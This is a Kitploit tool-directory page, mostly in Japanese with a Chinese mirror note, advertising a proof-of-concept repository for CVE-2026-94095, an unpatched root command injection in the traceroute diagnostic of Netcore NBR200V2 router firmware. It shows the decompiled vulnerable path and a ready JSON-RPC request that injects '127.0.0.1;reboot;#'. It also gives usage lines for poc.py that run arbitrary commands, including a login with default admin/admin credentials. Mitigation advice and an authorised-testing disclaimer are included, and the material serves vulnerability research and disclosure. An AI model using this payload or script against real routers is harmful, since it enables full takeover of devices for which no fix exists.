Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-94095 — CVE-2026-94095のPoC。Netcore NBR200V2ファームウェアにおけるubus JSON-RPC経由のtracerouteコマンドインジェクションで、認可されたテスト向けにroot RCEを可能にする。 | Kitploit
ツール/GitHubGitHub/hackspeak/cve-2026-94095
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストハードウェアとIoTセキュリティ論文と研究
GitHubhackspeak/cve-2026-94095

CVE-2026-94095

CVE-2026-94095のPoC。Netcore NBR200V2ファームウェアにおけるubus JSON-RPC経由のtracerouteコマンドインジェクションで、認可されたテスト向けにroot RCEを可能にする。

リポジトリを見る
17時間31分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Netcore NBR200V2 - traceroute診断機能におけるリモートコマンドインジェクション (CVE-2026-94095)

項目値
ベンダーNetcore
モデルNBR200V2
ファームウェアバージョンV1.3.241127.071246
影響を受けるコンポーネント/usr/bin/network_tools
脆弱性の種類OSコマンドインジェクション (CWE-74 / CWE-77)
CVSS 3.19.9 (Critical)
攻撃ベクトルリモート (ubus JSON-RPC)
前提条件到達可能なubusエンドポイント + 低権限セッション (sid)
ベンダーの状況早期に連絡済み;応答なし;開示時点でパッチなし

説明

Netcore NBR200V2 ファームウェア V1.3.241127.071246 には、traceroute診断機能におけるリモートコマンドインジェクション脆弱性が存在します。tracerouteハンドラは、ubus JSON-RPCから攻撃者が制御可能なurl値を受け取り、それをシェルコマンドに連結して実行します。リモートの攻撃者はこの欠陥を利用して、任意のシェルコマンドを実行したり、デバイスを再起動したり、システム全体を侵害したりすることができます。

脆弱性の連鎖

リモートリクエストはubus JSON-RPCとして受け付けられます:

root@kitploit:~
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}

ubusメソッドマッピングは、リクエストをsub_401BD8にルーティングします:

root@kitploit:~
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8

sub_401BD8はJSON-RPCデータを解析し、それをtools_traceroute()に転送します:

root@kitploit:~
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18;              // action
v25[1] = v7;               // url
v25[2] = _bswapsi2(*v8);   // max_hop
...
result = tools_traceroute((int)v25);

tools_traceroute()は、信頼できないurl値を使用してシェルコマンドを構築します:

root@kitploit:~
snprintf(
    v4, 0x100u,
    "(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
    v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);

この脆弱性はpingの問題と構造的に同一ですが、異なるシンクと実行パスに到達します。system()が使用されているため、;、&&、シェルコメントなどのコマンド区切り文字が有効になります。したがって、この診断機能は汎用コマンド実行プリミティブとなります。

概念実証

root@kitploit:~
POST /ubus
Content-Type: application/json

{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}

期待される効果: ルーターはtracerouteジョブを処理する際にrebootを実行します。rebootの代わりに任意のシェルコマンドを指定できます。

関連する脆弱性 (同一バッチ)

  • CVE-2026-94096 — LAN IP設定パス (同一バイナリ、同一パターン)。
  • CVE-2026-94097 — CGI診断エンドポイント (CVSS 10.0)。

3つすべてが同じ/usr/bin/network_toolsに到達します。このバイナリ内の診断機能は同じ安全でないパターンを共有しているため、単一のエントリポイントを修正するだけでは不十分です。

修復

開示時点でベンダーのパッチはありません。暫定的な緩和策:

  1. 管理インターフェースを信頼できないネットワークに公開しない;WAN側の管理マッピングをすべて削除する;
  2. デフォルト認証情報を変更し、強力でローテーションされたパスワードを適用する (ubus認証がこの攻撃の前提条件です);
  3. ファイアウォールを介してubus / 管理エンドポイントを専用の運用サブネットに制限する;
  4. ベンダーのファームウェアアップデートを追跡し、CVE-2026-94095/94096/94097の修正をまとめて検証する。

クレジット

技術的な解説を公開し、ベンダーと調整を試みた(不成功に終わった)独立研究者による開示。


分发镜像说明(中文)

本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-94095(同批:CVE-2026-94096 / CVE-2026-94097)
  • 影响产品:Netcore NBR200V2 企业路由器,固件 V1.3.241127.071246
  • 受影响组件:/usr/bin/network_tools(traceroute 诊断功能)
  • 类型:OS 命令注入(CWE-74 / CWE-77)
  • CVSS 3.1:9.9(Critical);CVSS 4.0:8.6;CVSS 2.0:9.0
  • 攻击面:ubus JSON-RPC 端点(POST /ubus)
  • 前置条件:可访问 ubus 接口 + 一个低权限会话(sid);弱口令/默认口令会显著降低门槛
  • 修复状态:披露者提前联系厂商,厂商零回应,暂无官方补丁

核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。

目录结构 / Layout

root@kitploit:~
CVE-2026-94095.md   —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py              —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)

环境与用法 / Requirements & Usage

  • 目标:未修复的 Netcore NBR200V2(实验室设备);需可访问 POST /ubus 与一个有效 sid
  • 依赖:Python 3(纯标准库,零第三方依赖)
root@kitploit:~
# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"

# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"

⚠️ 命令会被拼接为 127.0.0.1;<命令>;# 注入 url 参数;reboot 会直接重启设备,请仅在授权/可销毁环境测试。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。

归属与许可 / Attribution & License

  • 漏洞由独立研究者公开披露并整理利用链;本仓库为其公开材料的镜像与 PoC 实现。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-94095
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-94095
  • 第三方分析(VulDB):https://vuldb.com/vuln/408024
ツールをダウンロード